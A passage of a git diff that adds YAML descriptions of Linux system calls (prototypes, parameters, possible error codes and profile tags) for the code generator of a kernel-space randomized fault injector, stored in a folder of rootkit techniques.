+profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/preadv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/preadv.yml new file mode 100644 index 0000000..68b10c9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/preadv.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen, unsigned long pos_l, unsigned long pos_h +parms: fd, vec, vlen, pos_l, pos_h +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwrite64.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwrite64.yml new file mode 100644 index 0000000..cc96e84 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwrite64.yml @@ -0,0 +1,18 @@ +proto: unsigned int fd, const char __user *buf, size_t count, loff_t pos +parms: fd, buf, count, pos +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwritev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwritev.yml new file mode 100644 index 0000000..68b10c9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/pwritev.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen, unsigned long pos_l, unsigned long pos_h +parms: fd, vec, vlen, pos_l, pos_h +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/read.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/read.yml new file mode 100644 index 0000000..ee0c1f2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/read.yml @@ -0,0 +1,15 @@ +proto: unsigned int fd, char __user *buf, size_t count +parms: fd, buf, count +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readahead.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readahead.yml new file mode 100644 index 0000000..a62361b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readahead.yml @@ -0,0 +1,8 @@ +proto: int fd, loff_t offset, size_t count +parms: fd, offset, count +errors: + - EBADF + - EINVAL +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlink.yml new file mode 100644 index 0000000..002a951 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlink.yml @@ -0,0 +1,14 @@ +proto: const char __user *path, char __user *buf, int bufsiz +parms: path, buf, bufsiz +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlinkat.yml new file mode 100644 index 0000000..1b217ed --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readlinkat.yml @@ -0,0 +1,15 @@ +proto: int dfd, const char __user *path, char __user *buf, int bufsiz +parms: dfd, path, buf, bufsiz +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readv.yml new file mode 100644 index 0000000..e1ed178 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/readv.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen +parms: fd, vec, vlen +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/reboot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/reboot.yml new file mode 100644 index 0000000..8f4ddb9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/reboot.yml @@ -0,0 +1,8 @@ +proto: int magic1, int magic2, unsigned int cmd, void __user *arg +parms: magic1, magic2, cmd, arg +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - sys diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvfrom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvfrom.yml new file mode 100644 index 0000000..3127913 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvfrom.yml @@ -0,0 +1,15 @@ +proto: int fd, void __user *buff, size_t len, unsigned int flags, struct sockaddr __user *addr, int *addr_len +parms: fd, buff, len, flags, addr, addr_len +errors: + - EAGAIN + - EWOULDBLOCK + - EBADF + - ECONNREFUSED + - EFAULT + - EINTR + - EINVAL + - ENOMEM + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvmsg.yml new file mode 100644 index 0000000..39ee7d5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvmsg.yml @@ -0,0 +1,15 @@ +proto: int fd, struct user_msghdr __user *msg, unsigned int flags +parms: fd, msg, flags +errors: + - EAGAIN + - EWOULDBLOCK + - EBADF + - ECONNREFUSED + - EFAULT + - EINTR + - EINVAL + - ENOMEM + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rename.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rename.yml new file mode 100644 index 0000000..0aaced0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rename.yml @@ -0,0 +1,23 @@ +proto: const char __user *oldname, const char __user *newname +parms: oldname, newname +errors: + - EACCES + - EBUSY + - EDQUOT + - EFAULT + - EINVAL + - EISDIR + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - ENOTEMPTY + - EEXIST + - EPERM + - EROFS + - EXDEV +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat.yml new file mode 100644 index 0000000..23b38b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat.yml @@ -0,0 +1,24 @@ +proto: int olddfd, const char __user *oldname, int newdfd, const char __user *newname +parms: olddfd, oldname, newdfd, newname +errors: + - EACCES + - EBUSY + - EDQUOT + - EFAULT + - EINVAL + - EISDIR + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - ENOTEMPTY + - EEXIST + - EPERM + - EROFS + - EXDEV + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat2.yml new file mode 100644 index 0000000..109662c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat2.yml @@ -0,0 +1,24 @@ +proto: int olddfd, const char __user *oldname, int newdfd, const char __user *newname, unsigned int flags +parms: olddfd, oldname, newdfd, newname, flags +errors: + - EACCES + - EBUSY + - EDQUOT + - EFAULT + - EINVAL + - EISDIR + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - ENOTEMPTY + - EEXIST + - EPERM + - EROFS + - EXDEV + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rmdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rmdir.yml new file mode 100644 index 0000000..af48f3f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rmdir.yml @@ -0,0 +1,17 @@ +proto: const char __user *pathname +parms: pathname +errors: + - EACCES + - EFAULT + - EBUSY + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EINVAL + - ENOTEMPTY + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigaction.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigaction.yml new file mode 100644 index 0000000..b3f9b48 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigaction.yml @@ -0,0 +1,7 @@ +proto: int sig, const struct sigaction __user *act, struct sigaction __user *oact, size_t sigsetsize +parms: sig, act, oact, sigsetsize +errors: + - EFAULT + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigpending.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigpending.yml new file mode 100644 index 0000000..2fbf171 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigpending.yml @@ -0,0 +1,6 @@ +proto: sigset_t __user *uset, size_t sigsetsize +parms: uset, sigsetsize +errors: + - EFAULT +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigprocmask.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigprocmask.yml new file mode 100644 index 0000000..f8ca28f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigprocmask.yml @@ -0,0 +1,7 @@ +proto: int how, sigset_t __user *nset, sigset_t __user *oset, size_t sigsetsize +parms: how, nset, oset, sigsetsize +errors: + - EFAULT + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigqueueinfo.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigqueueinfo.yml new file mode 100644 index 0000000..c40e2ac --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigqueueinfo.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, int sig, siginfo_t __user *uinfo +parms: pid, sig, uinfo +errors: + - EAGAIN + - EINVAL + - EPERM + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigsuspend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigsuspend.yml new file mode 100644 index 0000000..f034546 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigsuspend.yml @@ -0,0 +1,7 @@ +proto: sigset_t __user *unewset, size_t sigsetsize +parms: unewset, sigsetsize +errors: + - EFAULT + - EINTR +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigtimedwait.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigtimedwait.yml new file mode 100644 index 0000000..761a96f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigtimedwait.yml @@ -0,0 +1,8 @@ +proto: const sigset_t __user *uthese, siginfo_t __user *uinfo, const struct timespec __user *uts, size_t sigsetsize +parms: uthese, uinfo, uts, sigsetsize +errors: + - EAGAIN + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_max.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_max.yml new file mode 100644 index 0000000..b733f21 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_max.yml @@ -0,0 +1,7 @@ +proto: int policy +parms: policy +errors: + - EINVAL +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_min.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_min.yml new file mode 100644 index 0000000..b733f21 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_min.yml @@ -0,0 +1,7 @@ +proto: int policy +parms: policy +errors: + - EINVAL +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getaffinity.yml new file mode 100644 index 0000000..04cdbe5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getaffinity.yml @@ -0,0 +1,10 @@ +proto: pid_t pid, unsigned int len, unsigned long __user *user_mask_ptr +parms: pid, len, user_mask_ptr +errors: + - EFAULT + - EINVAL + - ESRCH + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getattr.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getattr.yml new file mode 100644 index 0000000..8849aa2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getattr.yml @@ -0,0 +1,11 @@ +proto: pid_t pid, struct sched_attr __user *attr, unsigned int size, unsigned int flags +parms: pid, attr, size, flags +errors: + - EINVAL + - ESRCH + - E2BIG + - EBUSY + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getparam.yml new file mode 100644 index 0000000..a59e7c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getparam.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, struct sched_param __user *param +parms: pid, param +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getscheduler.yml new file mode 100644 index 0000000..655a3b0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getscheduler.yml @@ -0,0 +1,9 @@ +proto: pid_t pid +parms: pid +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_rr_get_interval.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_rr_get_interval.yml new file mode 100644 index 0000000..cd0e9d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_rr_get_interval.yml @@ -0,0 +1,10 @@ +proto: pid_t pid, struct timespec __user *interval +parms: pid, interval +errors: + - EFAULT + - EINVAL + - ENOSYS + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setaffinity.yml new file mode 100644 index 0000000..04cdbe5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setaffinity.yml @@ -0,0 +1,10 @@ +proto: pid_t pid, unsigned int len, unsigned long __user *user_mask_ptr +parms: pid, len, user_mask_ptr +errors: + - EFAULT + - EINVAL + - ESRCH + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setattr.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setattr.yml new file mode 100644 index 0000000..5330466 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setattr.yml @@ -0,0 +1,11 @@ +proto: pid_t pid, struct sched_attr __user *attr, unsigned int flags +parms: pid, attr, flags +errors: + - EINVAL + - ESRCH + - E2BIG + - EBUSY + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setparam.yml new file mode 100644 index 0000000..a59e7c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setparam.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, struct sched_param __user *param +parms: pid, param +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setscheduler.yml new file mode 100644 index 0000000..c8f9f42 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setscheduler.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, int policy, struct sched_param __user *param +parms: pid, policy, param +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/select.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/select.yml new file mode 100644 index 0000000..447dfa4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/select.yml @@ -0,0 +1,9 @@ +proto: int n, fd_set __user *inp, fd_set __user *outp, fd_set __user *exp, struct timeval __user *tvp +parms: n, inp, outp, exp, tvp +errors: + - EBADF + - EINTR + - EINVAL + - ENOMEM +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semctl.yml new file mode 100644 index 0000000..2ac45d7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semctl.yml @@ -0,0 +1,11 @@ +proto: int semid, int semnum, int cmd, unsigned long arg +parms: semid, semnum, cmd, arg +errors: + - EACCES + - EFAULT + - EIDRM + - EINVAL + - EPERM + - ERANGE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semget.yml new file mode 100644 index 0000000..8687133 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semget.yml @@ -0,0 +1,11 @@ +proto: key_t key, int nsems, int semflg +parms: key, nsems, semflg +errors: + - EACCES + - EEXIST + - EINVAL + - ENOENT + - ENOMEM + - ENOSPC +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semop.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semop.yml new file mode 100644 index 0000000..66f6789 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semop.yml @@ -0,0 +1,15 @@ +proto: int semid, struct sembuf __user *tsops, unsigned nsops +parms: semid, tsops, nsops +errors: + - E2BIG + - EACCES + - EAGAIN + - EFAULT + - EFBIG + - EIDRM + - EINTR + - EINVAL + - ENOMEM + - ERANGE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendmsg.yml new file mode 100644 index 0000000..020750d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendmsg.yml @@ -0,0 +1,23 @@ +proto: int fd, struct user_msghdr __user *msg, unsigned int flags +parms: fd, msg, flags +errors: + - EACCES + - EAGAIN + - EWOULDBLOCK + - EALREADY + - EBADF + - ECONNRESET + - EDESTADDRREQ + - EFAULT + - EINTR + - EINVAL + - EISCONN + - EMSGSIZE + - ENOBUFS + - ENOMEM + - ENOTCONN + - ENOTSOCK + - EOPNOTSUPP + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendto.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendto.yml new file mode 100644 index 0000000..5a0962e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendto.yml @@ -0,0 +1,23 @@ +proto: int fd, void __user *buff, size_t len, unsigned int flags, struct sockaddr __user *addr, int addr_len +parms: fd, buff, len, flags, addr, addr_len +errors: + - EACCES + - EAGAIN + - EWOULDBLOCK + - EALREADY + - EBADF + - ECONNRESET + - EDESTADDRREQ + - EFAULT + - EINTR + - EINVAL + - EISCONN + - EMSGSIZE + - ENOBUFS + - ENOMEM + - ENOTCONN + - ENOTSOCK + - EOPNOTSUPP + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setdomainname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setdomainname.yml new file mode 100644 index 0000000..79b157c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setdomainname.yml @@ -0,0 +1,10 @@ +proto: char __user *name, int len +parms: name, len +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - sys + # TODO(ww): Does it make sense to add this to the net profile? + # - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setgid.yml new file mode 100644 index 0000000..9c53f3d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setgid.yml @@ -0,0 +1,5 @@ +proto: gid_t gid +parms: gid +errors: + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sethostname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sethostname.yml new file mode 100644 index 0000000..9797229 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sethostname.yml @@ -0,0 +1,11 @@ +proto: char __user *name, int len +parms: name, len +errors: + - EFAULT + - EINVAL + - ENAMETOOLONG + - EPERM +profiles: + - sys + # TODO(ww): Does it make sense to add this to the net profile? + # - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpgid.yml new file mode 100644 index 0000000..ebdaf87 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpgid.yml @@ -0,0 +1,7 @@ +proto: pid_t pid, pid_t pgid +parms: pid, pgid +errors: + - EACCES + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpriority.yml new file mode 100644 index 0000000..f2d89fe --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpriority.yml @@ -0,0 +1,9 @@ +proto: int which, int who, int niceval +parms: which, who, niceval +errors: + - EINVAL + - ESRCH + - EACCES + - EPERM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setregid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setregid.yml new file mode 100644 index 0000000..8daf515 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setregid.yml @@ -0,0 +1,6 @@ +proto: gid_t rgid, gid_t egid +parms: rgid, egid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresgid.yml new file mode 100644 index 0000000..7f1e31b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresgid.yml @@ -0,0 +1,6 @@ +proto: gid_t rgid, gid_t egid, gid_t sgid +parms: rgid, egid, sgid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresuid.yml new file mode 100644 index 0000000..7dc8cf0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresuid.yml @@ -0,0 +1,6 @@ +proto: uid_t ruid, uid_t euid, uid_t suid +parms: ruid, euid, suid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setreuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setreuid.yml new file mode 100644 index 0000000..eba6de0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setreuid.yml @@ -0,0 +1,6 @@ +proto: uid_t ruid, uid_t euid +parms: ruid, euid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsid.yml new file mode 100644 index 0000000..04b82f9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsid.yml @@ -0,0 +1,3 @@ +proto: void +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsockopt.yml new file mode 100644 index 0000000..601f4b8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsockopt.yml @@ -0,0 +1,10 @@ +proto: int fd, int level, int optname, char __user *optval, int optlen +parms: fd, level, optname, optval, optlen +errors: + - EBADF + - EFAULT + - EINVAL + - ENOPROTOOPT + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/settimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/settimeofday.yml new file mode 100644 index 0000000..0d5d571 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized 